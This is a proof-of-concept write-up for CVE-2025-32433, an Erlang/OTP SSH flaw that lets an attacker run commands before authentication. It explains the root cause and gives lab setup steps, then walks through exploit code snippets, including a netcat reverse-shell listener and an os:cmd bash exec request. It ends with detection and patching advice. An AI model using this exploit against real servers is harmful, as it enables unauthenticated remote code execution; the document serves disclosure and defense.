Erlang/OTP SSH Pre-Authentication Channel Confusion

📺 Proof of Concept Video

Description: A demonstration of the Erlang/OTP SSH Pre-Authentication Channel Confusion vulnerability.

Click here to watch the full demo on YouTube

Abstract

What is this PoC about?

This Proof of Concept demonstrates CVE-2025-32433, a vulnerability in the Erlang/OTP SSH server implementation that allows an attacker to open SSH channels and execute commands prior to authentication.

Due to improper enforcement of SSH protocol state transitions, certain SSH messages (SSH_MSG_CHANNEL_OPEN and SSH_MSG_CHANNEL_REQUEST) are accepted before user authentication has successfully completed. This results in a full authentication bypass and remote command execution within the Erlang VM.

Affected Conditions

What must be vulnerable for this to work?

The vulnerability can be triggered when the following conditions are met:

• Erlang/OTP versions affected by this vulnerability are all the versions before and include the following:
  • OTP-27.3.2
  • OTP-26.2.5.10
  • OTP-25.3.2.19
• The Erlang ssh application is enabled
• Password-based authentication is configured
• The SSH daemon is reachable by the attacker
• No valid credentials are required

Importantly, this issue is not dependent on weak credentials or misconfiguration, but on flawed protocol state handling.

Technical Root Cause & Exploitation Flow

How does the vulnerability manifest, and why is it exploitable?

The issue stems from a state confusion flaw in the Erlang/OTP SSH server, where authentication state is not strictly enforced before channel-related messages are processed.

At a high level, exploitation proceeds as follows:

1. The attacker completes the SSH version exchange and key exchange phases.
2. The server transitions the connection into an active session state, without enforcing successful user authentication.
3. The attacker sends an SSH_MSG_CHANNEL_OPEN request for a session channel.
4. The server incorrectly accepts the channel request prior to authentication completion.
5. An SSH_MSG_CHANNEL_REQUEST of type exec is sent on the opened channel.
6. The Erlang SSH subsystem forwards the request to the connection handler.
7. The supplied payload is executed via Erlang primitives (e.g., os:cmd/1) inside the VM context.

This behavior violates the SSH protocol model defined in RFC 4252/4254, where channel creation and requests must only be permitted after successful authentication.

In short:

• Authentication state is tracked but not enforced
• Channel handling is gated on session state, not auth state
• The ssh_connection process processes exec requests prematurely
• This enables pre-authentication remote code execution

This is a logic and state management vulnerability, not a cryptographic weakness.

Build & Deployment

The following steps build and deploy a self-contained vulnerable environment using Docker. The container runs a deliberately hardened SSH server that rejects all credentials, ensuring that any successful command execution is the result of an authentication bypass.

git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git

docker build -t erlang-ssh .

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh

Once running, the SSH daemon will be exposed on port 2222 and is ready for exploitation using the provided PoC.

Exploitation

This script exploits a flaw in the Erlang/OTP SSH server that allows certain SSH protocol messages to be processed before authentication.

The exploitation process requires two terminals: one to receive the reverse connection, and another to launch the exploit.

• Listener (Terminal 1):

  root@kitploit:~

  nc -lvnp 4488
  

• Exploit execution (Terminal 2):

  root@kitploit:~

  python3 exploit.py
  

Exploitation script walktrough

1. Protocol Spoofing

   root@kitploit:~

   s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
   s.sendall(pad(kex))
   

   These messages are used to make the server treat the connection as a legitimate SSH client. They advance the SSH protocol state far enough to allow channel-related messages without completing authentication.

2. Pre‑Authentication Session Channel

   root@kitploit:~

   s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
   

   This request is used to open a session channel before authentication. On vulnerable Erlang/OTP SSH servers, this bypasses normal access controls and creates an unauthorized session.

3. Command Execution Request

   root@kitploit:~

   erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
   exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
   

   This request is used to trigger command execution through the Erlang runtime. Wrapping the payload in Erlang syntax ensures the command is executed by the Erlang VM rather than treated as a standard SSH shell command.

Result

If the target is vulnerable, the supplied command is executed without authentication.

Defense

Defense against this vulnerability relies on strict network segmentation and protocol-level monitoring, as standard authentication logs may not record the bypass attempts (since authentication is skipped).

• Network Restriction: Do not expose Erlang SSH ports (default or custom) to the public internet. Restrict access to trusted IPs or require a VPN/Bastion host.
• IDS/IPS Signatures: Configure Intrusion Detection Systems to alert on SSH sessions where SSH_MSG_CHANNEL_OPEN (Type 90) packets are sent immediately after Key Exchange, without a preceding SSH_MSG_USERAUTH_SUCCESS (Type 52) packet.
• Runtime Monitoring: Monitor the Erlang VM for unexpected os:cmd calls or shell process spawning that does not correlate with a successfully logged-in user session in the application logs.

Mitigations

The only complete remediation is to patch the underlying Erlang/OTP runtime to enforce strict state transitions.

1. Update Erlang/OTP

Upgrade the Erlang/OTP runtime immediately to a version that enforces authentication checks before channel creation. Ensure you are running a version newer than those listed in the "Affected Conditions" section.

Check the official Erlang/OTP GitHub Releases for the latest security patches.

2. Temporary Workarounds

If an immediate upgrade is not feasible, apply the following controls:

• Disable the SSH Application: If the SSH interface is not mission-critical, stop the application to remove the attack surface:

  root@kitploit:~

  ssh:stop().
  

• Firewall Whitelisting: Strictly limit network access to the exposed SSH port to internal, administrative subnets only.

Collaborators

Antonie Șoga AntonieSoga · Collaborator

Ene Călin Tudor 7uddy · Collaborator

Cristian Bănică BanicaCristian04 · Collaborator

⚠️ Disclaimer

Educational and defensive research only.

References

• CVE-2025-32433
• Erlang/OTP SSH Source
• RFC 4252/4254